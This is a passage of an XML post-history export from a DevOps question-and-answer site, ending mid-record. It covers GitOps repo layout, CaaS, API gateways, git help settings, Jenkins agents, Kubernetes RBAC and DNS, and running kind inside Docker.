  <row Id="40128" PostHistoryTypeId="1" PostId="13047" RevisionGUID="c879452d-6eb2-4905-952c-75ceb4abc405" CreationDate="2020-12-30T18:44:57.627" UserId="25384" Text="Jenkins connect to Windows 10 agent" ContentLicense="CC BY-SA 4.0" />
  <row Id="40129" PostHistoryTypeId="3" PostId="13047" RevisionGUID="c879452d-6eb2-4905-952c-75ceb4abc405" CreationDate="2020-12-30T18:44:57.627" UserId="25384" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40130" PostHistoryTypeId="2" PostId="13048" RevisionGUID="1262129f-55f0-475b-bb12-6e866d708e8b" CreationDate="2020-12-30T18:54:00.753" UserId="25382" Text="Is it appropriate to keep the DevOps resources in a different repo from the git repos where the project source codes are placed for the execution of DevOps processes?&#xD;&#xA;&#xD;&#xA;some benefits i expected&#xD;&#xA;&#xD;&#xA; - Versioning files to a different repo such as Dockerfile, Jenkinsfile or Kubernetes deployment&#xD;&#xA; - Ensuring the security of deployment processes&#xD;&#xA; - Being able to manage the deployment processes of these projects since some projects consist of more than one repo&#xD;&#xA;&#xD;&#xA;I know the concepts of monorepo and multirepo, but what I say is a little different. What I mean is to abstract the repos of deployment files from the source code repos.&#xD;&#xA;&#xD;&#xA;Could this be a method of use? have you done something like this before? is this method useful? Does this method have a name or does it mean multirepo?&#xD;&#xA;&#xD;&#xA;I am waiting for your advice&#xD;&#xA;&#xD;&#xA;thanks everyone" ContentLicense="CC BY-SA 4.0" />
  <row Id="40131" PostHistoryTypeId="1" PostId="13048" RevisionGUID="1262129f-55f0-475b-bb12-6e866d708e8b" CreationDate="2020-12-30T18:54:00.753" UserId="25382" Text="Separation of CI and CD processes" ContentLicense="CC BY-SA 4.0" />
  <row Id="40132" PostHistoryTypeId="3" PostId="13048" RevisionGUID="1262129f-55f0-475b-bb12-6e866d708e8b" CreationDate="2020-12-30T18:54:00.753" UserId="25382" Text="&lt;deployment&gt;&lt;continuous-delivery&gt;&lt;methodology&gt;&lt;process&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40133" PostHistoryTypeId="50" PostId="12885" RevisionGUID="67f876bb-f0b3-4a02-9cb6-3c1b96c49e81" CreationDate="2020-12-30T19:04:45.433" UserId="-1" />
  <row Id="40134" PostHistoryTypeId="2" PostId="13049" RevisionGUID="aee8df2a-6f24-4716-ba06-ef3af4ad8c2f" CreationDate="2020-12-30T19:26:39.023" UserId="7730" Text="You're basically describing GitOps. Here's how I've followed that for a containerized microservices build and deploy pipeline:&#xD;&#xA;&#xD;&#xA;1. Each service repo includes it's own Dockerfile, Kubernetes manifests, and anything else needed to locally build and test the project. The base image for the Dockerfile will likely be managed from another repo but built and hosted by the organization.&#xD;&#xA;&#xD;&#xA;2. CI steps are mostly externalized to a set of common libraries or templates. So if there's a Jenkinsfile or equivalent, it sets a few variables and calls the common template to build and generate the artifacts.&#xD;&#xA;&#xD;&#xA;3. Artifacts include a docker image, pushed to a registry, and also the deployment manifest (compose file, Kubernetes manifest, Helm templates), along with any other variables for those manifests. These deployment manifests/variables are pushed to a separate deployment repository that includes all of the microservices' manifest. There is only one deployment repo for all of the microservices in a single application stack, so this commit becomes a fan-in step. The push to this repository is scripted/automated during the CI of the microservice repo when a pull request is approved by enough trusted people to a protected branch. This provides the needed security checks.&#xD;&#xA;&#xD;&#xA;4. The deployment repo commits triggers it's own pipelines that are effectively CD and following something close to a GitOps design. This could also be a GitOps tool monitoring the repo and applying the changes, but presently I've been sticking with a single CI tool that does both, simplifying the workflow and allowing some scripting to run on the deploy. That scripting for me loads the variables that were committed, applies additional variables (e.g. which environment is this being deployed to), renders the templates (currently a Helm umbrella chart), and deploys.&#xD;&#xA;&#xD;&#xA;5. Deploys to other environments becomes a pull request between branches of the deploy repository. It could also be separate repositories to enforce security controls. Importantly, rendering the manifest should point to an immutable image tag or sha hash to ensure what was pushed to dev and tested there is the same as what's pushed to production. I include these image tags in a values file that is committed to the deploy repo.&#xD;&#xA;&#xD;&#xA;One big advantage of this, multiple microservices that interact with each other are tested together and get deployed together as a unit, all services are fanning into a single deploy repo that contains their deployment manifests and what image tag to use. There's never the situation where service A gets a new feature, but it's buggy, service B gets built depending on that new feature, and service B gets released to production before service A (a common issue when each service is built and deployed in isolated pipelines). If A is blocking the deployment of the stack, then a pull request can be submitted to the deploy repo reverting the service A commit. Then if service B passes tests against an older service A, service B gets deployed to production." ContentLicense="CC BY-SA 4.0" />
  <row Id="40135" PostHistoryTypeId="5" PostId="13026" RevisionGUID="8538a3a0-f595-4518-8a6c-3f565856c5c8" CreationDate="2020-12-30T20:38:16.063" UserId="10599" Comment="added 33 characters in body" Text="**TL;DR** &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;**Long Version** &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine, IBM Cloud Kubernetes Service and Alibaba Container Service for Kubernetes. There is a vast difference between deploying software onto a Kubernetes cluster that someone else set up, secured, then automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist 'single purpose' [operating systems][2] such that the servers are more like appliances than typical VMs. The idea is that the cluster (both OS and Kubernetes software) can be security patched as a rolling upgrade without any downtime of the services hosted on the cluster. &#xD;&#xA;&#xD;&#xA;**History Lesson ;-)**&#xD;&#xA;&#xD;&#xA;The historic position around 2011 before Docker was released in 2013 would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that, it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous, but it was an internal detail. The main marketing points made were two-fold. The first was developer productivity of having built-in CI/CD and the second was that the servers were easy to security patch and administer. The servers were treated like sheep and the vendor-supplied service packs to keep them secure.&#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Opensource container orchestrators have revolutionised things by fixing those problems. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now all support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.6/architecture/architecture-rhcos.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40136" PostHistoryTypeId="2" PostId="13050" RevisionGUID="bbd3fbc2-18df-4c43-967e-85c5b79829aa" CreationDate="2020-12-30T21:47:12.963" UserId="15605" Text="Is there any reason why an API gateway should be on a separate server to the API? Other than ensuring enough resources for both. I am using krackend API gateway and hosting a python API." ContentLicense="CC BY-SA 4.0" />
  <row Id="40137" PostHistoryTypeId="1" PostId="13050" RevisionGUID="bbd3fbc2-18df-4c43-967e-85c5b79829aa" CreationDate="2020-12-30T21:47:12.963" UserId="15605" Text="Can I run an API gateway on the same instance as my API?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40138" PostHistoryTypeId="3" PostId="13050" RevisionGUID="bbd3fbc2-18df-4c43-967e-85c5b79829aa" CreationDate="2020-12-30T21:47:12.963" UserId="15605" Text="&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40139" PostHistoryTypeId="2" PostId="13051" RevisionGUID="d239c7d8-8712-4382-af07-4c69e46442e5" CreationDate="2020-12-30T23:39:03.410" UserId="6162" Text="It should be fine to run the API Gateway on the same server as API-apps - for smaller setups. For larger setups when you need more servers may make sense to use dedicated nodes for API Gateways. API Gateways are increasingly playing a dual role as an application load balancer, or Level 7 Proxy for your APIs - those have a **specific role when it comes to network addresses and routing**, this is the main reason to why it makes sense to use dedicated servers for this part of your stack.&#xD;&#xA;&#xD;&#xA;&gt;why an API gateway should be on a separate server to the API?&#xD;&#xA;&#xD;&#xA;what is more important for this part of the stack is that you would like to avoid single-point-of-failure, so you should use **more than one instance** for API Gateways, and also for the API apps. When using multiple instances, it is often easier to separate the load balancer/Gateway from your app workload due to the specific needs for network addresses for the gateway, but in the end this depends on how your whole architecture looks." ContentLicense="CC BY-SA 4.0" />
  <row Id="40140" PostHistoryTypeId="2" PostId="13052" RevisionGUID="b9550ba9-28dc-44c3-912f-9c8101f2521e" CreationDate="2020-12-31T01:25:06.837" UserId="25385" Text="There is probably a better way if you are working with Google Cloud Run.  I have not tried this but I see that they have &quot;Secret Manager&quot; that you can use.  They also mention a project Berglas that can be used to store secrets in GCS cloud storage.&#xD;&#xA;&#xD;&#xA;In my personal experience, it find it best to leverage widely adopted solutions and avoid creating a unique solution for security.  Getting it right is non trivial and it is less code you have to support. &#xD;&#xA;&#xD;&#xA;This FAQ has doc links to the solutions I mentioned.  https://github.com/ahmetb/cloud-run-faq#how-to-configure-secrets-for-cloud-run-applications&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40141" PostHistoryTypeId="2" PostId="13053" RevisionGUID="d61ca6ef-48a3-4f1b-8492-296b69089648" CreationDate="2020-12-31T02:40:48.137" UserId="25386" Text="When I type ```git reset --help``` I don't get output in the bash terminal, but a new tab opens in my code editor to reveal some dense HTML.  How can I change Git's behavior to display the help message in the bash terminal?  I'm not sure how to fix this." ContentLicense="CC BY-SA 4.0" />
  <row Id="40142" PostHistoryTypeId="1" PostId="13053" RevisionGUID="d61ca6ef-48a3-4f1b-8492-296b69089648" CreationDate="2020-12-31T02:40:48.137" UserId="25386" Text="Command &quot;git [command] --help&quot; opens as HTML in my code editor - no output to terminal. How do I revert to default behavior?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40143" PostHistoryTypeId="3" PostId="13053" RevisionGUID="d61ca6ef-48a3-4f1b-8492-296b69089648" CreationDate="2020-12-31T02:40:48.137" UserId="25386" Text="&lt;git&gt;&lt;bash&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40144" PostHistoryTypeId="2" PostId="13054" RevisionGUID="db0dc6bc-5b52-49ab-9ffe-2ab265add5f3" CreationDate="2020-12-31T03:43:48.590" UserId="739" Text="This is not the default behavior of `git` so you have made some local config change to cause this to happen.  Look in you `~/.gitconfig` to see if there's anything that doesn't make sense to you.  Try commenting it out.  The `core.pager` setting is one of the first things I would check.  [This stackoverflow question](https://stackoverflow.com/q/2183900/2002471) has a variety of options for dealing with this sort of thing." ContentLicense="CC BY-SA 4.0" />
  <row Id="40145" PostHistoryTypeId="2" PostId="13055" RevisionGUID="f1e354eb-0e04-47e2-a510-c1184d9fcd93" CreationDate="2020-12-31T05:07:06.160" UserId="25387" Text="I recently made myself a small script that seems to do the work. It certainly can be done better but maybe you can get some inspiration:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    set -e&#xD;&#xA;    &#xD;&#xA;    if [ -z &quot;$1&quot; ]&#xD;&#xA;     then&#xD;&#xA;        echo &quot;No host patter supplied. Please provide a host pattern that would match only one host form the inventory.&quot;&#xD;&#xA;        echo &quot;Usage: ansible-ssh &lt;host_pattern&gt;&quot;&#xD;&#xA;        echo &quot;Example: ./ansible-ssh services[0]&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    USER=sysadm&#xD;&#xA;    HOST_PATTERN=$1&#xD;&#xA;    HOST=`ansible -m shell -a &quot;echo {{ groups.$HOST_PATTERN }}&quot; localhost  | sed 1d`&#xD;&#xA;    &#xD;&#xA;    if grep -q &quot;\[.*\]&quot; &lt;&lt;&lt; &quot;$HOST&quot;; then&#xD;&#xA;      echo &quot;Host pattern $HOST_PATTERN matches more than one host: $HOST&quot;&#xD;&#xA;      exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    echo &quot;Connecting to $USER@$HOST...&quot;&#xD;&#xA;    ssh $USER@$HOST&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Just edit your default USER (in my case sysadm) and execute in the following way:&#xD;&#xA;&#xD;&#xA;    ./ansible-ssh services[0]&#xD;&#xA;&#xD;&#xA;Where `services` is your inventory entry holding one or more IPs." ContentLicense="CC BY-SA 4.0" />
  <row Id="40146" PostHistoryTypeId="2" PostId="13056" RevisionGUID="638924f5-56d9-4c80-aa34-513bfe77ade1" CreationDate="2020-12-31T05:54:33.797" UserId="24583" Text="I switched the [Jenkins][1] to using https on port 8080 . After a restart of the Jenkins,the slaves cannot reconnect.&#xD;&#xA;&#xD;&#xA;I changed only Jenkins location from Configure System -&gt; Jenkins Location -&gt; Jenkins URL to https://localhost:8080&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/jenkins-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40147" PostHistoryTypeId="1" PostId="13056" RevisionGUID="638924f5-56d9-4c80-aa34-513bfe77ade1" CreationDate="2020-12-31T05:54:33.797" UserId="24583" Text="Jenkins Slaves cannot connect to the Master Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="40148" PostHistoryTypeId="3" PostId="13056" RevisionGUID="638924f5-56d9-4c80-aa34-513bfe77ade1" CreationDate="2020-12-31T05:54:33.797" UserId="24583" Text="&lt;jenkins&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40149" PostHistoryTypeId="6" PostId="13050" RevisionGUID="8ee11775-907d-48dd-a2d9-93632b0ef23e" CreationDate="2020-12-31T06:45:43.233" UserId="6162" Comment="add appropriate tags" Text="&lt;api&gt;&lt;api-gateway&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40150" PostHistoryTypeId="24" PostId="13050" RevisionGUID="8ee11775-907d-48dd-a2d9-93632b0ef23e" CreationDate="2020-12-31T06:45:43.233" Comment="Proposed by 6162 approved by 40 edit id of 1315" ContentLicense="CC BY-SA 4.0" />
  <row Id="40151" PostHistoryTypeId="10" PostId="13022" RevisionGUID="46d909ad-83ac-4075-a6cf-28bbfa4fb4b4" CreationDate="2020-12-31T06:47:58.507" UserId="40" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="40152" PostHistoryTypeId="4" PostId="13044" RevisionGUID="a572e0d9-9dd7-4153-8f82-2f671ccac86e" CreationDate="2020-12-31T11:17:14.893" UserId="6026" Comment="edited title" Text="VMWare CloudClient : what are the options for &quot;Reconfigure&quot; action in the command line? (increase CPU/memory for example)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40153" PostHistoryTypeId="2" PostId="13057" RevisionGUID="00d2b0ae-00d6-4426-aa73-dcff9ab34b88" CreationDate="2020-12-31T11:34:14.037" UserId="25391" Text="I know this is a bit late (like by 2 years lol), but akeyless.io is a SaaS secrets management platform" ContentLicense="CC BY-SA 4.0" />
  <row Id="40154" PostHistoryTypeId="2" PostId="13058" RevisionGUID="64a05588-1ce5-4a7e-affd-991c4ceca2a4" CreationDate="2020-12-31T12:56:09.423" UserId="24820" Text="So i've been developing data tools for a few years, and I'm a bit stuck on a large project. Say I have roughly 500 million records and 15 columns, in this format:&#xD;&#xA;&#xD;&#xA;+-------------+-------+-------+-------+--------+&#xD;&#xA;| customer_id | group | price | color | region |&#xD;&#xA;+-------------+-------+-------+-------+--------+&#xD;&#xA;| 123         | a     | 12    | red   | north  |&#xD;&#xA;+-------------+-------+-------+-------+--------+&#xD;&#xA;| 234         | c     | 11    | red   | south  |&#xD;&#xA;+-------------+-------+-------+-------+--------+&#xD;&#xA;| 456         | c     | 54    | blue  | east   |&#xD;&#xA;+-------------+-------+-------+-------+--------+  &#xD;&#xA;I want to build a simple dashboard that answers every possible question using every column. That is to say, I want every possible combination of metrics from each DIM/FACT in this table, such as:&#xD;&#xA;&#xD;&#xA;Distinct customers in group c that are blue from east region.&#xD;&#xA;Distinct customers in groups a+c that are red from south+north region.&#xD;&#xA;Sum of total price by group by region.&#xD;&#xA;Sum of total price for group c that is any color for north region.[enter link description here][1]&#xD;&#xA;Sum of total price for all regions.&#xD;&#xA;&#xD;&#xA;If I were to just aggregate the sums of prices, I could group by all my DIMs for each FACT. But the problem gets a little complex when I start using distinct functions to count customer_ids as a FACT. For example, Customer_ids can exist in multiple groups, so If i count distinct customer_ids by group, i will have a larger total sum of customers than if i only count distinct customer ids.&#xD;&#xA;&#xD;&#xA;So my question becomes, how can I build a dynamic dashboard to answer all of these potential combinations of questions without using the entire 500 million records? pre-aggregation seems impossible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://%20%20https://hkrtrainings.com/tableau-advanced-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40155" PostHistoryTypeId="1" PostId="13058" RevisionGUID="64a05588-1ce5-4a7e-affd-991c4ceca2a4" CreationDate="2020-12-31T12:56:09.423" UserId="24820" Text="advanced strategies to aggregate big data to generate tableau dashboards?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40156" PostHistoryTypeId="3" PostId="13058" RevisionGUID="64a05588-1ce5-4a7e-affd-991c4ceca2a4" CreationDate="2020-12-31T12:56:09.423" UserId="24820" Text="&lt;databases&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40157" PostHistoryTypeId="5" PostId="13054" RevisionGUID="148caa23-fd12-47ae-b09e-165d021b607f" CreationDate="2020-12-31T15:04:46.627" UserId="739" Comment="added 1 character in body" Text="This is not the default behavior of `git` so you have made some local config change to cause this to happen.  Look in your `~/.gitconfig` to see if there's anything that doesn't make sense to you.  Try commenting it out.  The `core.pager` setting is one of the first things I would check.  [This stackoverflow question](https://stackoverflow.com/q/2183900/2002471) has a variety of options for dealing with this sort of thing." ContentLicense="CC BY-SA 4.0" />
  <row Id="40158" PostHistoryTypeId="2" PostId="13059" RevisionGUID="fa9bbb97-b2ff-4a67-bf3f-11699bdca04e" CreationDate="2020-12-31T15:11:45.173" UserId="19699" Text="I cannot access a pod from another pod with its service name. Getting error as &#xD;&#xA;&#xD;&#xA;&gt; cannot resolve host `svcname`&#xD;&#xA;&#xD;&#xA;When i try to view the information of /etc/resolv.conf, i do see ec2.internal as searches and ndots as 1. What does this means and how do i solve this to access a pod from another pod with the service name.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40159" PostHistoryTypeId="1" PostId="13059" RevisionGUID="fa9bbb97-b2ff-4a67-bf3f-11699bdca04e" CreationDate="2020-12-31T15:11:45.173" UserId="19699" Text="Cannot resolve services with service name inside a kubernetes pod" ContentLicense="CC BY-SA 4.0" />
  <row Id="40160" PostHistoryTypeId="3" PostId="13059" RevisionGUID="fa9bbb97-b2ff-4a67-bf3f-11699bdca04e" CreationDate="2020-12-31T15:11:45.173" UserId="19699" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;deployment&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40161" PostHistoryTypeId="5" PostId="13053" RevisionGUID="ad2168b7-31c0-4804-b373-98f04434def1" CreationDate="2020-12-31T20:51:03.810" UserId="25386" Comment="added 160 characters in body" Text="When I type ```git reset --help``` I don't get output in the bash terminal, but a new tab opens in my code editor to reveal some dense HTML.  How can I change Git's behavior to display the help message in the bash terminal?  I'm not sure how to fix this.&#xD;&#xA;&#xD;&#xA;.gitconfig file:&#xD;&#xA;```&#xD;&#xA;[core]&#xD;&#xA;	editor = 'C:\\Program Files\\Sublime Text 3\\sublime_text.exe' -w&#xD;&#xA;[user]&#xD;&#xA;	name = name&#xD;&#xA;	email = 'email&#xD;&#xA;	name = 'name&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ type -a git&#xD;&#xA;git is /mingw64/bin/git&#xD;&#xA;git is /mingw64/bin/git&#xD;&#xA;git is /cmd/git&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="40162" PostHistoryTypeId="5" PostId="13053" RevisionGUID="74127968-ae8e-4ce6-8d6e-7dc657dc1440" CreationDate="2020-12-31T21:11:01.863" UserId="25386" Comment="added 587 characters in body" Text="When I type ```git reset --help``` I don't get output in the bash terminal, but a new tab opens in my code editor to reveal some dense HTML.  How can I change Git's behavior to display the help message in the bash terminal?  I'm not sure how to fix this.&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;.gitconfig file:&#xD;&#xA;```&#xD;&#xA;[core]&#xD;&#xA;	editor = 'C:\\Program Files\\Sublime Text 3\\sublime_text.exe' -w&#xD;&#xA;[user]&#xD;&#xA;	name = name&#xD;&#xA;	email = 'email&#xD;&#xA;	name = 'name&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ type -a git&#xD;&#xA;git is /mingw64/bin/git&#xD;&#xA;git is /mingw64/bin/git&#xD;&#xA;git is /cmd/git&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Update 2:**&#xD;&#xA;&#xD;&#xA;It looks like ```help.format``` is set to html, but after my user.name and other info, ```help.format``` is set to web (I did this).  I tried setting the browser using multiple browser names, but git fails to launch the help command in the browser and still opens in my code editor.&#xD;&#xA;```&#xD;&#xA;$ git config -l&#xD;&#xA;core.symlinks=false&#xD;&#xA;core.autocrlf=true&#xD;&#xA;core.fscache=true&#xD;&#xA;color.interactive=true&#xD;&#xA;help.format=html&#xD;&#xA;user.name=name&#xD;&#xA;help.format=web&#xD;&#xA;&#xD;&#xA;$ git reset --help&#xD;&#xA;git config option web.browser set to unknown browser: edge&#xD;&#xA;Resetting to default...&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="40163" PostHistoryTypeId="2" PostId="13060" RevisionGUID="d0bdde83-7911-4d5e-ad74-679614e86ee7" CreationDate="2021-01-01T13:59:08.490" UserId="21684" Text="This is something I have implemented recently.&#xD;&#xA;&#xD;&#xA;***NOTE: I'm assuming you are aware ho to add users. or users in group in this case.***&#xD;&#xA;&#xD;&#xA;here is what I have applied:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: rbac.authorization.k8s.io/v1&#xD;&#xA;kind: ClusterRole&#xD;&#xA;metadata:&#xD;&#xA;  name: readonly_role&#xD;&#xA;rules: &#xD;&#xA;- apiGroups:&#xD;&#xA;  - &quot;&quot;&#xD;&#xA;  resourceNames:&#xD;&#xA;  - &quot;&quot;&#xD;&#xA;  resources:&#xD;&#xA;  - &quot;pods&quot;&#xD;&#xA;  - &quot;pods/logs&quot;&#xD;&#xA;  - &quot;deployments&quot;&#xD;&#xA;  verbs:&#xD;&#xA;  - get&#xD;&#xA;  - list&#xD;&#xA;  - watch&#xD;&#xA;- apiGroups:&#xD;&#xA;  - authorization.k8s.io&#xD;&#xA;  resources:&#xD;&#xA;  - selfsubjectaccessreviews&#xD;&#xA;  - selfsubjectrulesreviews&#xD;&#xA;  verbs:&#xD;&#xA;  - watch&#xD;&#xA;  - get&#xD;&#xA;  - list&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;apiVersion: rbac.authorization.k8s.io/v1&#xD;&#xA;kind: ClusterRoleBinding&#xD;&#xA;metadata:&#xD;&#xA;  name: bind_readonly_dev_role&#xD;&#xA;subjects:&#xD;&#xA;- kind: Group&#xD;&#xA;  name: myorg:readonly &#xD;&#xA;  apiGroup: rbac.authorization.k8s.io&#xD;&#xA;roleRef:&#xD;&#xA;  kind: ClusterRole&#xD;&#xA;  name: readonly_role&#xD;&#xA;  apiGroup: rbac.authorization.k8s.io&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can use either `ClusterRole` &amp; `ClusterRoleBinding` or else just `Role` &amp; `Rolebinding`, depending on your requirement. In case you are not looking for cluster scoped access, instead just a namespace, I would strongly suggest going with the `Role` &amp; `Rolebinding` kind of object.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What I'm doing/creating in the above?**&#xD;&#xA;&#xD;&#xA;I'm creating one RBAC Role (`readonly_role`) scoped to Cluster.&#xD;&#xA;and in that I'm specifying I want to let access `pods`, `logs` (i.e `pods/logs`), and `deployments`. additionally you. can also add things like `services` or else if you just want to give access to all specify `&quot;&quot;` instead.&#xD;&#xA;&#xD;&#xA;in the 2nd part, I'm creating a ClusterRoleBinding Object named `bind_readonly_dev_role ` which ensures only users in group `myorg:readonly` are having this role or privileges in the role we just created (`readonly_role `).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;NOTE: Incase you want to allow proxy access to certain applications, like `kubectl proxy`.&#xD;&#xA;you might have to specify them separately in the `ClusterRole` rules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I do like this for one of my svc: &#xD;&#xA;```&#xD;&#xA;- apiGroups:&#xD;&#xA;  - &quot;&quot;&#xD;&#xA;  resourceNames:&#xD;&#xA;  - dashboard:5000&#xD;&#xA;  resources:&#xD;&#xA;  - services/proxy&#xD;&#xA;  verbs:&#xD;&#xA;  - '*'&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;at last but not least, you have to test if the user has those privileges correct,&#xD;&#xA;you can test like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl auth  can-i get pods --as myorg:readonly&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;in the above replace the pods with the object you want the users of the group to have access to.&#xD;&#xA;&#xD;&#xA;Hope this helps!" ContentLicense="CC BY-SA 4.0" />
  <row Id="40164" PostHistoryTypeId="2" PostId="13061" RevisionGUID="1c9041c4-ddf0-49ec-91eb-d29201254ff2" CreationDate="2021-01-02T00:11:43.657" UserId="25401" Text="For CICD purposes, I need to run a docker container and then create a kubernetes cluster inside of it using [kind][1]. Here is my Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    &#xD;&#xA;    RUN apt-get update&#xD;&#xA;    RUN apt-get install curl -y&#xD;&#xA;    &#xD;&#xA;    RUN apt-get install -y gnupg2&#xD;&#xA;    &#xD;&#xA;    RUN curl -fsSL https://apt.releases.hashicorp.com/gpg | apt-key add -&#xD;&#xA;    RUN apt-get install -y lsb-release&#xD;&#xA;    RUN apt-get install -y software-properties-common&#xD;&#xA;    RUN apt-add-repository &quot;deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main&quot;&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install terraform -y&#xD;&#xA;    &#xD;&#xA;    RUN apt-get install -y wget&#xD;&#xA;    RUN wget https://golang.org/dl/go1.15.6.linux-amd64.tar.gz&#xD;&#xA;    RUN tar -C /usr/local -xzf go1.15.6.linux-amd64.tar.gz&#xD;&#xA;    RUN GO111MODULE=&quot;on&quot; /usr/local/go/bin/go get sigs.k8s.io/kind@v0.9.0&#xD;&#xA;    &#xD;&#xA;    RUN curl -fsSL https://get.docker.com -o get-docker.sh&#xD;&#xA;    RUN sh get-docker.sh&#xD;&#xA;&#xD;&#xA;It's basically an ubuntu image with kind installed.&#xD;&#xA;&#xD;&#xA;I run this image using docker run commad:&#xD;&#xA;&#xD;&#xA;    docker run -v /var/run/docker.sock:/var/run/docker.sock -it ef33f1a0ac5e bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And then I create a kind cluster inside of it:&#xD;&#xA;&#xD;&#xA;    kind create cluster --name kind&#xD;&#xA;&#xD;&#xA;Then I [install kubectl][2] on it.&#xD;&#xA;&#xD;&#xA;When I try to connect to my kind cluster using kubectl (`kubectl get all`, for example), I get the following error:&#xD;&#xA;&#xD;&#xA;    The connection to the server 127.0.0.1:37583 was refused - did you specify the right host or port?&#xD;&#xA;&#xD;&#xA;Here is my kubeconfig (`kind get kubeconfig`):&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    clusters:&#xD;&#xA;    - cluster:&#xD;&#xA;        certificate-authority-data: CERTIFICATE-AUTHORITY-DATA&#xD;&#xA;        server: https://127.0.0.1:37583&#xD;&#xA;      name: kind-kind&#xD;&#xA;    contexts:&#xD;&#xA;    - context:&#xD;&#xA;        cluster: kind-kind&#xD;&#xA;        user: kind-kind&#xD;&#xA;      name: kind-kind&#xD;&#xA;    current-context: kind-kind&#xD;&#xA;    kind: Config&#xD;&#xA;    preferences: {}&#xD;&#xA;    users:&#xD;&#xA;    - name: kind-kind&#xD;&#xA;      user:&#xD;&#xA;        client-certificate-data: CLIENT-CERTIFICATE-DATA&#xD;&#xA;        client-key-data: 